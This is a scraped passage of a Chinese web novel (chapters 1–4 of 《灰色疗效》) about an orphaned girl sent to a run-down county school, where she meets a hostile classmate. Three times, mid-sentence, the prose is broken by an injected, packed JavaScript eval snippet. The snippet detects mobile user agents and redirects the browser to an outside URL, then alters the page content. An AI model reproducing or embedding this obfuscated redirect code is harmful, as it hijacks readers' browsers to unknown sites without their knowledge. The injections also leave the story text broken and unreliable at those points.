《灰色疗效》 1. 第 1 章 朴芯是过后才知道，自己的转学曾经在陇县引起过小范围的轰动。 * 陇县距离浦江一千多公里，没有直达航班，而且飞机票也太贵了，现在的朴芯舍不得，买了高铁票。 周婵去世之前为了防止朴兴南拿走积蓄，只给朴芯留下了两万块的现金作为生活费，剩下的全存在基金会里，等着朴芯成年之后才能逐年继承。 这些天交学费书本费之后也只剩下一万七八。 但周婵显然忘记了一件事，就是朴兴南拿不到钱自然也不会管她。 他和周婵在十五年前，朴芯还只有两岁的时候就离婚了，分开之后，朴兴南很快再婚，周婵带着朴芯独自创业，积攒下了一笔丰厚的财富。 可是天有不测风云，前年周婵体检的时候查出了恶性肿瘤晚期，虽然极力在配合医生的治疗，但因为肿瘤恶化迅速，她仅仅撑了一年就离开了。 周婵去世之后，朴芯作为未成年，没有外公外婆，抚养权自然而然地归朴兴南。 刚开始的两天，朴兴南还算有良知的对这个许久未见的女儿嘘寒问暖一番，还特意用木板在客厅给她隔断出了一个小房间。 但好景不长，很快朴兴南的现任妻子就反对朴芯住在家里，理由是家里没钱养她，朴闻马上就高二了，到时候要是上了大学哪里都需要用钱。 而且家里就这么大点地方，朴芯住在客厅里别人还怎么生活？ 闹了好几天，终于，朴兴南大手一挥终于决定将朴芯发配到陇县。 陇县是周婵的家乡，二十多年前她就是从这里考出来嫁给朴兴南的。 朴芯没有选择权，当即收拾东西准备离开。 她的行李不多，都堆在客厅的角落。 朴兴南住的地方位于浦江的城中村，墙壁因为防水都不到位都发黑发霉。 但就是在这个发霉的角落堆放着高档的迪士尼玩偶，从各国旅行带来的纪念品，还有一些价格在四五位数的连衣裙，原版的日文英文漫画书。 这些都是周婵在的时候买给朴芯的。 她原本是互联网大厂经理，薪资高工作忙，但基本每年都会抽出时间带朴芯出去旅行。 周婵说看过了远方的风景才会有走得更远的动力。 朴芯把小桌面上的书本都收到行李箱里，然后是衣服，去角落拿那些玩偶漫画书才发现仅仅过了两个多月，漫画书的书页都也开始发霉了。 她扯了几张纸打算擦擦，但刚动手擦了几页，再要扯纸的时候看见朴兴南的妻子从厨房里出来，手里握着铲子正在一眨不眨地盯着她看。 朴芯愣了下，随即收手，攥了下手指胡乱地这些漫画书都塞进行李箱。 连衣裙、玩偶，塞了一半又发现还有些东西行李箱装不下了。 她想着到陇县可能也会有新课本，就把大部分书都拿出来了，漫画书和玩偶也拿出来了一部分。 等到把所有的东西都收拾完之后又扫了地把桌子擦干净。 朴芯迟疑了下，鼓起勇气走到厨房对朴兴南的妻子说：“阿姨，这些玩偶我带不走了，留下来给妹妹吧。” 朴兴南还有一个八岁的女儿，这几天去她外公家住了。 冯梅还在炒着菜，虽然嘴上咕哝着“谁要你的东西，没用的破烂……”但手上还是诚实地接下了。 正说着朴闻从外面打球回来，问道：“妈，饭好了吗？” “马上就好，”冯梅扬声回答：“问问你爸啥时候回来？” “一会就上来，刚才在路口看见他了。” 没人再理朴芯，她回过头把箱子都搬到门外，在门口遇到了朴兴南，他买了一袋水果，拿了两个要递给朴芯。 两个橘子，朴芯摇摇头。 朴兴南一把把橘子塞给她，“到了那边安心读书，不要惹麻烦。” 朴芯说了声好。 房间里传出饭菜香，朴闻关门的时候象征性的招呼朴芯：“你要不和我们一起吃过饭再走？” “不用了，”朴芯说。 说实话她对朴兴南完全没有亲人的感觉了，这些天朴芯更多的感觉是在一个陌生人家里寄人篱下了一段时间。 既然没有亲人感，也不算一家人，她自然没必要去参与别人一家三口的其乐融融。 “哦，”朴闻也没有多问，随即半掩上房门。 一门之隔里面传出冯梅的叫他们洗手夹菜的声音。 朴芯背着书包，费劲地拉着两个行李箱下楼，刚走到门口就把橘子扔进了垃圾桶。 打的出租车去高铁站的时候路过了盛华世纪，朴芯降下车窗看了眼。 以前她就住在这里，浦江最繁华的市中心，后来周婵为了更好的手术治疗把房子卖了。 当时想的是如果能治好，以后这个钱还能赚回来，可是好运没有降临。 高铁到陇县要十个多小时，朴芯买的是硬座票，才刚坐上没几个小时她就睡着了。 半梦半醒之间，梦到了周婵。 她温声告诉朴芯要坚强，保持积极乐观的心态。 在梦里周婵的身影很模糊，手冰凉。 这是因为在她去世之前朴芯没有见过她几面，她化疗头发掉完了，严重的骨癌甚至腐蚀掉了部分皮肤，她担心朴芯看见了会害怕。 周婵也希望朴芯看见的是世界美好幸福的一面，而不是病痛，算计，折磨。 朴芯梦见她们还住在原来的房子里，她放学后学着自己炒了一道菜，周婵夸她做的很好吃。 可是朴芯自己尝了一口，却被咸得直喝水。 周婵被她逗乐了，笑着又夹了一筷子菜说：“咸吗？妈妈吃着刚刚好。” 在梦的最后周婵的身影逐渐变淡，朴芯拉住她的手不想她离开。 周婵弯下腰告诉她：“小芯，要快快长大，好好生活。” 然后温柔决绝地拂开她手，身影瞬间就消失不见。 朴芯猛然惊醒，伸手揉眼睛时才发现自己流眼泪了。 温热的眼泪顺着脸颊流淌，无知无觉，像是早已习惯。 她吸了两下鼻子，拿纸擦眼泪。 到站了又费劲的拖着行李箱去换乘火车，到陇县已经凌晨一点多了。 陇县的火车站特别破，站台不大，灯光暗淡，标示牌上都是锈迹斑斑的铁锈，远处是大片长满荒草的空地。 这一站就朴芯自己下车，她独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387071|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自拖着行李箱出火车时有种被世界抛弃的感觉。 站外没有地铁，没有出租车，车站的地砖开裂，地面都是坑坑洼洼的，朴芯走几步箱子就被卡住。 荒凉，落后，顽固不化这就是她对陇县的第一印象。 出发前朴兴南给了她一个地址。 是以前周婵的家，现在据说是邻居在放杂物，前几天朴兴南联系他们让他们把东西搬走。 但朴芯空有地址，她对这个地方实在陌生，不知道该怎么过去。 倒霉的是手机也快没电了，打车也打不到，导航显示到地方还要三十多公里。 朴芯之前在手机上过查过，说出了高铁站会有三轮车可以坐，但她到站的时间太晚了，外面空无一人。 朴芯拉着箱子，滚轮在不平整的路面上发出咯吱咯吱的声音。 街面上也没人，灰黄的灯光照着街上的店，房屋低矮，朴芯怕鬼，越走越急越害怕，恨不得跑起来。 晕头转向的找了会想看看有没有坐车的地方，也没找到。 连酒店也没看见。 她拉着行李箱，不安和迷茫感逐渐放大，下意识的往前又走了几步，柳暗花明，视线里忽然注意到一处亮光。 朴芯顿时停下脚步仔细看。 亮光处是一台黑色机车，正停在一棵歪脖子树旁边，树的后面是家店，多彩霓虹灯照亮的标识上大大咧咧地写着“成人用品”四个字。 说是亮光其实也不准确，霓虹灯的光很弱，比较亮的反而是车上的人的手机屏比较亮。 不知道是什么界面，手机屏是红光，照着男生的脸，他应该在后仰在机车上，这个距离不清他的长相，但应该是个年轻人。 朴芯犹豫了下，陌生的地方她一时半会也外向不起来，想了会，拉着行李箱在巷子口走过。 然后又走回来，想引起对方的注意。 想的是如果是好心人看见一个陌生人拖着行李箱来回走，应该会出声问两句。 如果不是好心人她也不用麻烦对方了。 但是来回两趟，机车上的男子没有任何反应。 朴芯探头朝巷子里看了眼，巷子很深，远处没光，尽头是能把人吸进去的黑暗。 没由来的无措，朴芯下意识的扣手，纠结几秒，还是认命的过去。 走近了才发现他不是单纯的脊背后仰，而是长腿翘在车把上，整个人毫无顾忌地在机车上躺倒。 黑色字母T恤，戴着银色的金属项链，红光笼罩着他的脸。 人长得非常帅，而且是朴芯以前从没见过的类型，直鼻高挺，薄唇，眼睛窄长，看上去有些邪性不羁的进攻性。 朴芯出声：“同学……” 没人应声。 对方依旧在看手机。 朴芯伸手轻轻的拍了下机车坐垫：“同学你好，我——” 一句话还没说完，对方掀眼看她。 确实是窄眼，但是不显小。 垂在机车另一侧的手里夹了根烟，他抽了一口，手垂下去，眼珠漆黑冷漠，盯着人从上往下看，青白的烟雾在夜里漂浮，整个人就写满一句话 “老子不是多管闲事的人，滚。” 2. 第 2 章 朴芯愣住了。 她此刻切实地感觉到了陇县和浦江的不同，或者是过去和以前的不同。 从前她遇到的那些同学和老师都很友善，看见别人遇到了麻烦也会主动提出帮忙，绝对不会像现在这样事不关己高高挂起。 除了朴兴南，还有眼前的这个男生。 朴兴南是嫌弃她花了家里的钱，破坏了他原本的家庭的平衡，但机车上的男子却让人觉得他天性如此，对谁都一视同仁的敌意冷漠。 但想想可能也正常，毕竟自己对别人来说是陌生人，实在没必要多管闲事。 朴芯握着箱子的拉杆，没再开口，但是也没有走。 男子扫了她一眼后就接着看手机，朴芯站在他旁边多观察了几秒。 他是黑发，但发尾有些发黄，应该是染过，左耳中段打着耳骨钉，黑色圆环形的卡在耳侧。 给人的感觉就是不好惹，惹了会很麻烦。 朴芯没有和这类人打交道的经验，她大脑空白，右侧裤子的口袋贴着皮肤传出一阵震动声，是手机没电关机了。 夜幕黑沉，周围还都是蚊子的嗡嗡声，朴芯穿着短袖和运动中裤，蚊子一会叮她一口，本来朴芯还想忍忍，但过会实在是痒就拿了张纸低头拍蚊子。 光线昏暗，她拍了五六下也没有拍死一只，便又直起身。 明明男子也是短袖，但就是没蚊子叮他，他边看手机边抽烟，姿态懒散。 等了几秒，朴芯还在组织开场白，男生的电话响了，他接起，就两句话 ——“随便你怎么想。” ——“嗯，你放心，死了也不用你管。” 声音很低沉，不是朴芯听惯的浦江声调，算是标准普通话的同时，每个字的发音又都带着微弱的陌生感。 那边说了什么朴芯没听清，但男生不耐烦地抬手把电话挂了，一手仍旧夹着烟往嘴边送，烟雾缭绕，味道呛人。 应该是和父母吵架了？ 朴芯握紧行李箱的把手，犹豫一刻，还是问：“同学你好，我想问你这附近有酒店吗？” 林昕远弹了下烟灰，终于回头看朴芯。 借着微弱的光，面前的少女拖着两个行李箱，穿着一件单薄的粉白色短裤，长度到膝盖。 中长的层次黑发，眼睛很圆，很乖巧干净的长相，站在那里和周围的环境格格不入，有礼貌但也很白痴。 林昕远手往后指，理所当然地吩咐：“去后面小卖部给我买瓶可乐，要冰的。” “……” 朴芯光朝他指的方向看，巷子里没路灯照着，里面一片漆黑，再加上自己手机没电了不能开手电筒，就有些迟疑，“我去了你会走吗？” 声音轻软，带着微弱的请求。 男生抽烟很快，抽完微微挺腰把烟摁灭在车头的金属条上，这个姿势显得他格外的肩宽腿长，暗色的耳钉扣在他耳朵上，格外的锋利危险。 林昕远：“我是你男朋友吗还等你？” “……好，谢谢，”朴芯自觉自己问了一个蠢问题，也不多说了，松开行李箱的把手，小跑着过去找小卖部。 跑了五六分钟在巷子的末尾才看到亮灯的店铺。 店里是一个中年妇女在看店，昏昏欲睡，见到朴芯进来揉揉眼睛，和气地问她要什么。 “阿姨我要一瓶可乐，冰的，”朴芯说。 老板从冰柜里拿可乐，朴芯赶紧付钱道谢。 跑回去林昕远果然还在原地，捏着一个烟盒转着，等朴芯气喘吁吁的把可乐递给他，林昕远接了，随即头也没回地说：“没烟了，去买一包。” 朴芯：“……” 她刚想拒绝又想到自己有求于人，于是抿了下唇说好，又跑回去。 这次跑回来时他身边出现了一个女生，波浪卷发，短T，即使是灯光暗淡也能看出来对方身材很好，正靠在机车旁边笑。 可能是女朋友？ 朴芯走过去，正准备把东西给那个男生，还没走近却看见女生坐上机车，车子响了几声，随即一拧把手，往前疾驰。 朴芯：“？！” 她下意识地往前追了两步：“喂，同学你的……” * 机车速度很快，后排的罗茜听见声响回头看，瞥见是一个女孩追上来，不轻不重的拍了下林昕远的肩膀， “你又哪里惹来的情债，人家正追你呢。” “不认识，”林昕远扬手把可乐往后扔，身子压低，手臂肌肉紧绷，整个人宛如一张蓄势待发的劲弩，说：“坐好别乱动。” …… 罗茜也习惯了他的脾气，反正也不是对着她发火，那就随便了。 * 朴芯追了两几步就停下，是后知后觉才意识到自己被耍了。 她捡起可乐拿着烟回头拎自己的行李。 冰可乐还没开封，拿在手里冷冰冰的一片像握着一块冰，周围都是蚊子，她伸手拂了两下。 刚才那来回几趟跑得着急，朴芯咳嗽个不停，背上包又费劲的拖着行李箱，终于鼻尖泛酸，忍不住想哭。 这人怎么这样啊，不就问了他一个问题，不回答就算了，有必要这样戏弄她吗？ 那天晚上朴芯去找了小卖部老板问这附近哪里有宾馆可以住。 老板还算热情地给她指了一家，朴芯去住了，但宾馆房间里的被子上有一团可疑的污渍，她最后在椅子上坐到天亮，第二天清早顶着酸胀的黑眼圈出去找车回陇县。 那是她第一次遇到林昕远。 昏暗的巷子，闷热的天气，横斜飘散的烟雾和一截黑色耳钉构成了全部的画面。 他恶劣、脾气差，那时朴芯无论如何也想不到，自己往后还会遇到他。 甚至此后的每次相遇，她都在加深这个印象。 * 第二天大巴车送她到镇上，朴芯按照地址去找邻居拿钥匙。 陇县不大，但远比朴芯想象的还要破旧。 但凡有铁的地方都生锈，比如铁门铁栏杆铁扶手，但凡石灰墙面都发黑脱落，但凡水泥地砖都开裂。 楼道里街面上杂草顽固的从水泥缝里钻出来，仿佛是自然的野性正在逐步侵占整个世界。 十月末天气尚且炎热，朴芯拉着行李箱走了半个小时才终于打通邻居的电话，在对方的引导下找到了周婵的房子。 房子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387072|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在东石路街尾，几年前政府组织新盖楼房时周婵也出钱翻新了老家的房子，当时只盖了一层，带个独立的小院子。 给钥匙的是位阿姨，叫陈如。 她和周婵以前是初中同学，但自从周婵离婚后两人就再也没见过面，还是前几天朴兴南打电话过来她才知道周婵生病的事情。 世事难料，阿姨拉着朴芯好一顿感慨，摸着她的脸说：“你长的像你妈妈，我女儿也和你差不多大，唉可怜，真可怜。” 朴芯不知道该作何反应，跟着说了句：“没事。” 陈如还问了周婵以前的事情，在哪工作，离婚后有没有再找男朋友，怎么得的病之类的。 正说着，从房子里传来一个女声：“妈你在和谁说话，饭好了没？” 陈如回头：“好了好了，你昨天几点才回来，去谁一起去的镇上？饭在锅里你自己盛出来。” 陈如一连串问了很多问题，里面的人明显不耐烦：“你问这么多干吗？回来了不就行了吗？” “你看我说你一句就不行了？”陈如侧身：“你周姨家的女儿来了，她以后也在咱们这念书，跟你一个学校。” 朴芯朝里看，院子里的女生正在用手梳着自己的长发，深蓝色睡衣，昨天晚上朴芯见过她，坐在那个男生机车后座。 对方显然也认出朴芯了，停下手中的动作说：“是你啊？” 朴芯点头，说你好，我叫朴芯，从南京来这里读书。 罗茜扫了她几眼，陈如见她们聊起来问：“你们之前认识啊？” “不认识，”罗茜趿着拖鞋去厨房，“妈你赶紧做饭，别聊了。” 罗茜的性格好像有点冷，陈如转头对朴芯解释句：“我女儿就这个脾气，我也管不了她。” 朴芯理解地点头。 聊了几句后她拿钥匙回家。 打开门，地板是灰色的砖，年代久远有些都已经断裂了，院子里长了一些杂草，正对面是扇木门。 朴芯停下来看了一会，才恍惚间感觉周婵原来在这里生活过。 她从这里考出去，一路走到大城市，然后结婚，生下自己， 房子里仍旧堆了很多杂物，就左边的一个房间还空着，地面扫过，但是扫的不怎么干净，角落里还有一些灰尘，墙壁上也有发霉的痕迹。 朴芯把行李搬进去，尝试开灯，从门口到房间，只有房间那盏灯是好的。 房子里装有空调，但长久不用，打开先呛了朴芯一口灰。 她咳嗽几声，找了抹布把房间里里外外都擦了一遍，整理好衣服和玩偶后又把被子和床垫拿出去晒。 然后去外面买了扫把、拖把和一些糊墙纸，把房间里发霉的角落都挡上了。 朴芯以前很少干家务，等收拾的差不多时也已经六点半了，她随便啃了一个剩面包当晚饭。 陇县天黑的要比浦江早，晒好的被子有股干燥的味道，混合着房间里还未散去积灰味。 朴芯那时候还不知道自己会遇到什么，她迷迷糊糊，十分乐观的想，无论如何要开启新生活了，这里的人都还挺好相处的。 翻个身，又想，哦—— 除了那个男生。 3. 第 3 章 陇县的生活很枯燥，有时候甚至连网速都很慢。 朴兴南一直没给她打过电话，就发了两条短信嘱咐她好好学习，朴芯回复了好。 到周一，朴芯去学校报道。 陇县的高考还停留在文理分科，而朴芯当时在南京学的是选课模式，她当初选的是物理、化学和地理，到陇县她选了理科，需要重新学生物。 早上她先去了趟班主任的办公室，班主任姓刘，叫刘华连，五十多岁，正好也是生物老师，他拿给朴芯一套生物试卷让她回去先做做，看看水平怎么样。 朴芯说好。 刘华连也没多说，挥挥手让她回教室。 陇县一高是附近几个镇上仅有的高中，几个镇的学生凑在一起，高三分成了两个班，朴芯在一班。 这所学校不大，一共就两栋教学楼。 教室里设施落后，前面的黑板上没有装白板，只有一台老旧的投影仪，座椅也陈旧破烂。 朴芯的位置在后排角落，桌子上有一截裸露的长钉，椅子也是坏的，一截椅子腿明显短一截，坐上去晃动不已。 她站起来想看谁是班长，好询问对方哪里可以换椅子。 但此时教室里来了七八个学生，都坐在前排，每个人都在安静的看书，没人在意她这个转校生，朴芯也看不出来谁是班委。 她站了几秒，又茫然地坐下。 朴芯的性格其实算不上多外向，她也不是一个能在陌生场合说太多话的人，一班的氛围显然有些沉闷，朴芯便更加不敢开口了。 之前周婵就说过她这一点，让她到陌生的地方要学会交朋友。 朴芯的手在书包里缩了下，她在来陇县之前在浦江的商场里买了一些小礼物打算送给同学。 但是待会该怎么说？ 等了一会，她周围陆陆续续也坐了一些同学，朴芯才组织好措辞拿出礼物先送给她们。 也许是一班的学生都很忙，大家都只点点头，然后拿起礼物看了朴芯一眼。 有好奇也有打量和警惕，交谈两句，然后大家又各做各的事情。 朴芯觉得这是一个好的开始，但还是明显感受到了一些不同寻常的压抑。 这种感觉到上课时才有所好转，她旁边坐了一个女生，打了两颗耳钉，她晃了晃手里的礼物冲朴芯笑笑：“我叫吴若莹，你新转来的吧？” “嗯，前几天刚到，”朴芯说。 “都高三了你为什么还转学到我们这？” 朴芯说：“家里安排的。” “哦哦哦，”吴若莹直言不讳：“你家长挺奇葩的。” …… 吴若莹性格开朗，朴芯很快就和她熟起来。 上完三节课，每个老师都按部就班的讲课，没人对这里出现了一个转校生感到好奇。 朴芯的椅子坐着很不舒服，她趁着下课问吴若莹：“我们班有班长吗，我想换个椅子，它坏了。” 吴若莹扫了一眼，指了指最左边一个靠窗的位置：“他，徐怀仁。” 朴芯朝她指的方向看，是个戴眼镜的男生，高瘦，但是也是坐在前排，正在给旁边的几个同学讲题。 朴芯看他正在忙，就想着待会再去。 她今天还想给罗茜送份礼物，是之前她去意大利旅游时买的香水，还有一个毛绒玩偶。 趁着下课的功夫她拿上礼品袋去二班。 虽然一墙之隔，但隔壁班的氛围明显比一班要活泼许多，课间很多同学都在打闹聊天，化妆、拍球的也有。 罗茜坐在倒数第二排的窗口，朴芯松了口气，抬手轻轻敲了下玻璃：“罗茜。” 罗茜似乎在给谁回消息，听见声响下意识的把手机往桌洞了塞，转头看见是朴芯神情才放松，没好声地讲：“干吗？！” “抱歉，”朴芯把礼物递过去：“这是我想送你的礼物。” 罗茜站起身，拿起袋子往里看了眼，神情不太自然地说：“谢了，晚上放学你和我一起回去，我妈让的。” 早上出门时陈如让她们放了学一起走，刚好相互也能有个照应。 朴芯就说好。 给完礼物她回教室，班上学生都来的差不多了，就朴芯后面还有一个位置在空着，不知道是没人坐，还是人没来。 但无论是学生还是老师似乎都习以为常，连问都没问，朴芯刚来，即使困惑也没主动开口问。 下一节课是化学课，老师留了一张试卷，课代表在台上发试卷。 试卷发到朴芯就没了，她举起手：“老师，还缺一张试卷。” 化学老师朝这边看，朴芯指了指后面的空位置：“这里有人坐吗，他还没有试卷。” 话刚说出来，教室里大部分的学生都转头看她，好像她说了什么不对劲的话。 朴芯顿了下，困惑尴尬地放下手。 她感觉自己像是违背某种潜规则，这个规则一班的学生知道，但自己只是一个刚转过来的局外人，被集体排斥在外，无知无觉，也没人想要告诉她。 台上的老师看了几眼，不在意地说：“课代表，给那边发一张。” “好的老师。” 新试卷从前排一排排传过来，传到朴芯的手里，她放到后面的空座位上。 旁边的吴若莹小声说：“哎，你不知道这是谁的座位吗？” 朴芯被她的语气搞得一愣，问：“谁的？” “林昕远啊。” 朴芯不认识，但直觉告诉她这个人好像不简单，“他怎么了吗？” 吴若莹张张嘴，想说但又没敢说，低声提醒道：“反正他要是来上课你当心点，别惹到他，不过他应该不会待在我们班。” 朴芯没有听懂，但还是认真点头。 一高里面有食堂，学生也能去外面吃饭。 吴若莹和朋友去外面吃饭了，朴芯则在食堂吃过饭后回教学楼写生物试卷。 后排座位依旧没有人，旁边的窗户正在开着，微风卷起试卷，朴芯回头拿了支笔放上去压着。 陇县一高不提供住宿，晚上也没有晚自习，只在下午多加了一节课，到六点准时放学。 朴芯收拾好东西去二班门口等罗茜，然后两人一起坐小巴车回家。 这条线路刚好能到朴芯家附近，很方便。 * 在一高的学习生活很平淡。 这所学校是典型的小镇高中，高中两个班只有一班前几排的学生是比较认真学习的人。 在校内，打耳钉化妆染发的学生都司空见惯， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387073|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶多是大家象征性的戴上不显眼的素针耳钉，染发的颜色没有那么张扬，妆容没那么浓而已。 学校操场的树荫下经常能看到学生三五成群地在那里抽烟。 朴芯甚至看见过有人在角落里接吻。 和之前的高中有相似之处又在某些细微的地方大不相同，与此同时她的椅子还是坏的。 班长说教务处的老师还没找到新桌椅，让她再等几天。 朴芯说了行。 就这么过了一周，朴芯还在恶补生物中，经常复习到凌晨。 周二那天她昨晚熬得太久了，中午快速去食堂吃完午饭朴芯想回教室去睡一会。 平时这个点教学楼的学生不会很多，但今天朴芯刚跑上楼梯就听到了吵闹声。 “远哥来学校了？！” “他人呢？” “外面，一会过来。” “你们昨天架打的怎么样，听说冯江几人哭着道歉啊，真的假的？” “我艹，那tm远哥出场你说真的假的？” …… 朴芯还闻到了烟味，虽然这几天看下来，一高的学生普遍都会干点违反校纪的事情，但毕竟是学生，干坏事的时候基本都会稍微躲着点，没人想被老师发现，也没人想和老师起冲突。 像这种敢在走廊上光明正大抽烟的，胆子肯定很大，这已经不是一般的学生了。 朴芯正准备后退换条路走，刚动，楼上有人看见她了，四五个人转过头，都是黄头发，夹着烟，其中一个冲着她喊：“喂你哪个班的在这偷听？” 朴芯刚想解释自己没偷听，又有人往她身后喊，“远哥！你回来了？” 声音很恭敬，朴芯赶紧回头。 身后是前几天在巷子里见过的那个男生，正靠在一楼的楼梯口，没穿校服，一身黑，叼着烟，正盯着她看。 朴芯没想到他居然会是学生，还和自己同校，连纸也没拿，抬手用胳膊擦了下汗。 她意识到了什么，想走。 林昕远倒是也认出这个人了，她规矩地穿着全套校服，细瘦的手臂垂着，额前的刘海粘在脸上，眼下有淡淡的乌青色。嘴唇紧抿着，狼狈又不悦。 但即使生气，也挡不住身上那股被教育得过分天真的单纯感。 看着碍眼，林昕远不耐烦，抬脚往前走。 楼梯狭窄，朴芯赶紧给他让路，却没想到林昕远也正在往这边走。 她又朝着另外一个方向躲，她动男生也动，来回两次，对方伸手摁住她的肩膀，声音冷淡低沉， “你是不是真白痴？滚。” 又不是我一个人在动，上次的戏弄加上今天，朴芯一下红了眼，“你怎么——” 刚说了半句，林昕远回头。 他皱着眉，手里拿着烟，戾气横生：“我怎么了？” 朴芯不说话了，憋着一股气往下走。 她身影还没走远，背后就有人问：“远哥，这女生你认识？长得够正的啊。” “远哥啥时候换口味了？” “换啥了，不知道远哥对这样的不感兴趣，是不是远哥？” …… 几句议论声中，男子的声音清晰低沉，“艹，这种好学生你们也拿出来讨论，闲的？” 4. 第 4 章 林昕远到二班教室的时候罗茜还在化妆。 他谁也没关注，径直走到乔宇的座位上，坐下埋头就睡。 乔宇在后面哎呀了两声，也没拦着，倒是凑过来和罗茜说话：“上课你化什么妆？” 罗茜白了他一眼：“叫你看了吗你管这么多？” 后年的几个男生也进来和乔宇勾肩搭背，乔宇嘻嘻哈哈地讲：“让远哥看的，关键远哥这不是睡着了吗？” 罗茜往林昕远那边看了一眼，他正调整手臂准备找个舒服点的姿势睡觉。 但因为个子高，怎么睡都差点意思，罗茜想起什么，从桌位底下拿出一个玩偶给他垫着。 “远哥！这个给你枕。” 林昕远掀眼看，一只粉白色的兔子玩偶，眼睛圆圆的，还扎着个蝴蝶结。 很幼稚，林昕远接过来枕着，他本来还没细想，结果头刚枕上去闻到一股很淡的香味。 偏甜，但是不腻。 林昕远熬了一整晚的大脑得到稍许舒缓，他侧过脸问：“这兔子是你的？” “嗯，”罗茜正在对着镜子涂睫毛膏，说：“也不算吧，朋友送的。” “哪个朋友。” 罗茜说：“隔壁班的朴芯，这个学期刚转来的，我妈以前同学的女儿，听说她妈妈去世了，爸爸不管她就给她送到这了。” “长得挺漂亮的，”罗茜说：“以前家里应该挺有钱的，衣服鞋看着都是大牌，就是倒霉。” “哦，”林昕远阖眼，玩偶身上的短绒毛轻蹭着他的脸，是有点痒的感觉，但是不难受。 他踹了下旁边的乔宇：“一会上课记得叫我。” “好，啊？”乔宇下意识地答应，反应过来后又诧异地问：“上课叫你？咋了远哥你还上课呢？” 他平时连来学校都是看心情，来了也不去一班，就找地方睡觉。 林昕远：“我不上课上你吗？” 乔宇立马满脸娇羞地往前凑：“也行啊哥哥。” 林昕远一脚踹开他，“滚。” …… 朴芯中午睡了一会，然后起来背生物。 下午班级里的氛围活跃了许多，朴芯旁边的吴若莹正和几个学生聚在一起聊天。 “林昕远来学校了，他不是一直不上课吗？” “对啊，就在隔壁班，可能为了女朋友吧。” “罗茜真是他女朋友？” “不知道啊，但是不是的反正就谈那几天，没差。” …… 朴芯此时也能猜出来林昕远应该就是车站旁的男生，不知道什么原因一直不来上课。 她正听着，忽然，教室里安静下来。 也许是这些天到陌生的地方，朴芯的直觉一下拉满，她敏锐地感觉到有人朝自己这边走过来。 果不其然，只过了几秒，她身后传来拉椅子的声音，有人坐在那个空位，然后是说话声。 “远哥这谁给你拿的试卷？这么多张？” 朴芯脊背绷紧，通过这几次的接触，她对林昕远的印象并不好，本来还想着他应该不是学生，以后可能也遇不到，没想到对方居然和她一个学校，还就坐在她后面。 怪不得她当初要试卷的时候班上学生的目光都那么诧异，原来是她惹到人了。 早知道后面坐的是他，自己就不应该举手要试卷。 乔宇知道一班的人大多都挺怕林昕远的，平时连敢和他说话的都少，更别提给他留试卷了。 林昕远的桌子从学期开始到学期末，基本都是干干净净的。 这次是哪个老师抽风了，还是谁又看上远哥了？ 乔宇扯开嗓子问：“哪个好心人留的试卷，敢做不敢当啊？” 他旁边还有几个二班的男生也跟着说：“远哥，写不写啊，这好歹人家心意。” “我艹远哥上学笔都没带吧？” “还带什么笔，别人会帮忙写的，是不是远哥？” …… 朴芯没法再装傻，她转回头，一转头话还没说先愣住了。 后面林昕远正靠在椅背上，应该是刚睡醒，人不怎么精神，手里拿着一个兔子玩偶，正在一下有一下没的捏着它的脸。 他手指修长，肤色偏深，衬在玩偶上极其明显。 朴芯认出来这是她送给罗茜的礼物，这个玩偶她有一对，其中一个现在还在她家里。 其实出于私心她不想罗茜把自己给的礼物转送给其他人。 但又想既然都送过去了，东西属于别人，那罗茜把玩偶拿给自己男朋友玩一会好像也正常。 朴芯没有多看，尽量自然地说：“试卷是我留的，如果你不想写的话可以丢掉。对不起我不知道后面坐的是你，下次不会再留了。” 她自觉这是很合理的道歉，既然对方不想写，那就没必要再给她留试卷。 但这句话在别人听起来却更像在说，如果知道是你，我不会好心帮你那试卷。 不管出于什么原因，她都有明显的疏远意思。 旁边乔宇认出来这是中午楼梯上的那个转校生了，从他这个角度能看到对方一截白皙的脖颈，一高的校服布料有些透，往下还能看到她的肩胛骨稍微突出。 手上戴着首饰，一个银镯子还有一个四叶草的手链。 乔宇不懂哪些弯弯绕绕的，他单纯的觉得这个女生光坐在这里就和他们这些混子有差别，因此感觉开的玩笑没意思，撞了下林昕远的肩膀。 林昕远把桌上的试卷拿起来，随手翻了两下又把玩偶丢上去，没理任何人，直接趴下睡觉了。 乔宇：“……” 朴芯：“……” 当事人都睡觉了，其他人自然也没什么好说的了，正好上课铃响了，乔宇他们都出去了。 老师过来上课，果然对林昕远睡觉的事情熟视无睹。 不光他，其实后排还有好多学生也在睡觉，从上午到下午，基本上每节课都有人趴着，除了班主任会象征性地叫两声别睡了之外都没人管。 朴芯中午才睡了十多分钟，眼下也有点困，但还是强撑着上课。 